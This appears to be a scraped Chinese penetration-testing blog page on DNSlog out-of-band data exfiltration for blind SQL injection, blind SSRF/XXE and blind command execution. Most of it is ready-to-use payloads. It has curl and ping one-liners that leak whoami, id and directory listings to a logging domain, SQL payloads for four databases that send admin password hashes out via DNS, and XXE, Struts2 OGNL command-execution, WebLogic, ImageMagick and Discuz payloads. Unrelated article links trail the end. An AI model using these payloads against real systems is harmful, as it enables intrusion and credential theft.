DNSlog盲注
前言
在渗透测试中,经常遇到如下情景:
1,sql盲注 2,blind型ssrf以及xxe 3,无回显命令执行漏洞 ...
dnslog盲注原理
开放的DNSlog平台:
http://ceye.io/
在http://ceye.io/上我们可以获取到有关ceye.io
的DNS查询信息。
域名解析的过程,是由顶级域名向下逐级解析。我们构造的攻击语句也是如此,当它发现域名中存在ceye.io
时,它会将这条域名信息转到相应的NS服务器上,而通过http://ceye.io我们就可以查询到这条DNS解析记录。
DNSlog实现sql盲注演示
核心语法
select load_file(concat('\\\\',(select database()),'.XXX.ceye.io\\abc')
通过对 "selecct databse()" 这一部分语句的构造,就能实现有回显的SQL注入。
值得注意的是,这些数据格式和内容都有限制,需要进行一些处理,并且只能在Windows平台发起load_file请求。
NS服务器接收数据
工程化的python脚本
https://github.com/ADOOO/DnslogSqlinj
https://github.com/BugScanTeam/DNSLog
在线网站
linux系统中dnslog渗透测试技巧
curl http://xxx.dnslog.link/`whoami` ping -c 1 `whoami`.xxx.dnslog.link 如果碰到内容有空格(换行符等),就会截断,只输出前面的,这时候可以利用编码来输出,但有输出字符数最大限制;
curl http://xxx.dnslog.link/$(id|base64)
curl http://xxx.dnslog.link/`id|base64` 编码base64之后,还有换行符的,可以把字符串中的 '\n'换成其他字符,如 '-':
curl http://xxx.dnslog.link/$(id|base64|tr '\n' '-')
curl http://xxx.dnslog.link/`id|base64|tr '\n' '-'` 碰到ls这类多个输出的命令,直接使用脚本;
for i in $(ls /);do curl "http://$i.xxx.dnslog.link/";done;
windows系统中dnslog渗透测试技巧
利用HTTP请求将结果使用默认浏览器弹出:
for /F %x in ('whoami') do start http://xxx.dnslog.link/%x
利用DNS请求获取计算机名、用户名:
获取计算机名:for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.link
获取用户名:for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.link
探测目录文件列表,由于dir有/b参数,不显示修改日期等信息,只显示文件名,所以可以弹出:
for /F %x in ('dir /b C:\') do start http://xxx.dnslog.link/[%x].jpg
win的常用变量
变量 |
类型 | 描述 |
---|---|---|
%ALLUSERSPROFILE% | 本地 | 返回“所有用户”配置文件的位置。 |
%APPDATA% | 本地 | 返回默认情况下应用程序存储数据的位置。 |
%CD% | 本地 | 返回当前目录字符串。 |
%CMDCMDLINE% | 本地 | 返回用来启动当前的 Cmd.exe 的准确命令行。 |
%CMDEXTVERSION% | 系统 | 返回当前的“命令处理程序扩展”的版本号。 |
%COMPUTERNAME% | 系统 | 返回计算机的名称。 |
%COMSPEC% | 系统 | 返回命令行解释器可执行程序的准确路径。 |
%DATE% | 系统 | 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。 |
%ERRORLEVEL% | 系统 | 返回上一条命令的错误代码。通常用非零值表示错误。 |
%HOMEDRIVE% | 系统 | 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 |
%HOMEPATH% | 系统 | 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 |
%HOMESHARE% | 系统 | 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 |
%LOGONSERVER% | 本地 | 返回验证当前登录会话的域控制器的名称。 |
%NUMBER_OF_PROCESSORS% | 系统 | 指定安装在计算机上的处理器的数目。 |
%OS% | 系统 | 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。 |
%PATH% | 系统 | 指定可执行文件的搜索路径。 |
%PATHEXT% | 系统 | 返回操作系统认为可执行的文件扩展名的列表。 |
%PROCESSOR_ARCHITECTURE% | 系统 | 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。 |
%PROCESSOR_IDENTFIER% | 系统 | 返回处理器说明。 |
%PROCESSOR_LEVEL% | 系统 | 返回计算机上安装的处理器的型号。 |
%PROCESSOR_REVISION% | 系统 | 返回处理器的版本号。 |
%PROMPT% | 本地 | 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。 |
%RANDOM% | 系统 | 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。 |
%SYSTEMDRIVE% | 系统 | 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。 |
%SYSTEMROOT% | 系统 | 返回 Windows server operating system 根目录的位置。 |
%TEMP%和%TMP% | 系统和用户 | 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。 |
%TIME% | 系统 | 返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。 |
%USERDOMAIN% | 本地 | 返回包含用户帐户的域的名称。 |
%USERNAME% | 本地 | 返回当前登录的用户的名称。 |
%USERPROFILE% | 本地 | 返回当前用户的配置文件的位置。 |
%WINDIR% | 系统 | 返回操作系统目录的位置。 |
其他payload
SQL Injection
- 1.SQL Server
DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')
+'.b182oj.ceye.io';
EXEC('master..xp_dirtree
"\\'+@host+'\foobar$"');
- 2.Oracle
SELECT UTL_INADDR.GET_HOST_ADDRESS('b182oj.ceye.io');
SELECT UTL_HTTP.REQUEST('http://b182oj.ceye.io/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.b182oj.ceye.io',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.b182oj.ceye.io',80) FROM DUAL;
- 3.MySQL
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.b182oj.ceye.io\\abc'));
- 4.PostgreSQL
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd
FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content)
FROM E\'\\\\\\\\'||query_result||E'.psql.b182oj.ceye.io\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();
0x02 XML Entity Injection
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://b182oj.ceye.io/xxe_test">
%remote;]>
<root/>
0x03 Others
- 1.Struts2
xx.action?redirect:http://b182oj.ceye.io/%25{3*4}
xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
- 2 FFMpeg
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://b182oj.ceye.io
#EXT-X-ENDLIST
- 3.Weblogic
xxoo.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search
- 4.ImageMagick
push graphic-context
viewbox 0 0 640 480
fill 'url(http://b182oj.ceye.io)'
pop graphic-context
- 5.Resin
xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://b182oj.ceye.io/ssrf
- 6.Discuz
http://xxx.xxxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo
参考链接
http://foreversong.cn/archives/861
https://bbs.ichunqiu.com/thread-22002-1-1.html
http://blog.knownsec.com/2016/06/how-to-scan-and-check-vulnerabilities/
DNSlog盲注的更多相关文章
- SQL注入学习-Dnslog盲注
1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...
- 2019-10-29:渗透测试,基础学习,sqlmap文件读取,写入,dnslog盲注作用,mssql手工注入,笔记
sqlmap参数--file-read,从数据库服务器中读取文件--file-write,--file-dest,把文件上传到数据库服务器中 dnslog平台的学习和它在盲注中的应用1,判断注入点2, ...
- 利用DNSLOG获取看不到的信息(给盲注带上眼镜)
一.前言 本文原创作者:sucppVK,本文属i春秋原创奖励计划,未经许可禁止转载! 毕业设计总算搞得差不多了,这个心累啊.这不,完成了学校的任务,赶紧回来给蛋总交作业.今天给大家分享一个姿势吧,不是 ...
- MSSQL的简单盲注
方式一:遍历ascii码的方式 一.判断数据库类型 and (select count(*) from sysobjects)>0 二.获取数据库 and ascii(substring((se ...
- sqli-labs:5-6,盲注
思考1:当# --+都被过滤时,只能考虑闭合处理 思考2:union联合注入时必须先判断字段长度 eg. id=1' order by 3 and '1'='1 sqli5: 首先判断出对id经过了' ...
- 简单sql注入学到的延时盲注新式攻击
0x01 知识点 mysql_pconnect(server,user,pwd,clientflag) mysql_pconnect() 函数打开一个到 MySQL 服务器的持久连接. mysql_p ...
- mssql手工盲注
遇到中文的列名 利用unicode 进行单字节的转换 declare @s varchar(50);set @s = N'拉';select UniCode(@s),nchar(UniCode(@s) ...
- mysql基于“时间”的盲注
无需页面报错,根据页面响应时间做判断! mysql基于时间的盲注 =================================================================== ...
- SQL盲注之正则攻击
我们都已经知道,在MYSQL 5+中 information_schema库中存储了所有的 库名,表明以及字段名信息.故攻击方式如下: 1. 判断第一个表名的第一个字符是否是a-z中的字符,其中bli ...
随机推荐
- https://www.oschina.net/project/zhlist/326/scripting 开源
1https://www.oschina.net/project/zhlist/326/scripting
- Spring Boot Maven 打包 Jar
Maven pom.xml 必须包含 <packaging>jar</packaging> <build> <plugins> <plugin&g ...
- 打印低头思故乡 java
public static void main(String args[][){ char poet[] = str.tocharArray(); int pos = 18; while(true){ ...
- stm32中adc的常规通道和注入通道的区别
STM32的每个ADC模块通过内部的模拟多路开关,可以切换到不同的输入通道并进行转换.STM32特别地加入了多种成组转换的模式,可以由程序设置好之后,对多个模拟通道自动地进行逐个地采样转换. 有2种划 ...
- unittest 单元测试
unittest 单元测试: 1,单元测试是指对软件中最小可测试单元进行检查和验证.对于单元测试中单元的含义,一般来讲,要根据实际情况去判定其具体含义. 2,unitest=TestCase + Te ...
- 畅谈Redis和Memcached的区别
简述 memcached 和 redis 都很类似:都是内存型数据库,数据保存在内存中,通过tcp直接存取,优势是速度快,并发高,缺点是数据类型有限,查询功能不强,一般用作缓存. 那么题主说 memc ...
- RPM打包原理、示例、详解及备查( 转)
RPM(Redhat Package Manager)是用于Redhat.CentOS.Fedora等Linux 分发版(distribution)的常见的软件包管理器.因为它允许分发已编译的软件,所 ...
- spring boot 访问项目时加项目名称
pringboot 项目一般直接地址加端口就可以访问了,不像放在tomcat里面还需要加上项目名. 现在,想访问的时候加上项目名用来区分,只要在配置文件里面加上 server.context-path ...
- ROS launch总结
1 运行Launch文件2 新建Launch文件3 在namespace中启动nodes 4 remapping names 5 其他的launch元素 1 运行Launch文件 Launch文 ...
- js 变量大小写
js对变量是区分大小写的.完毕.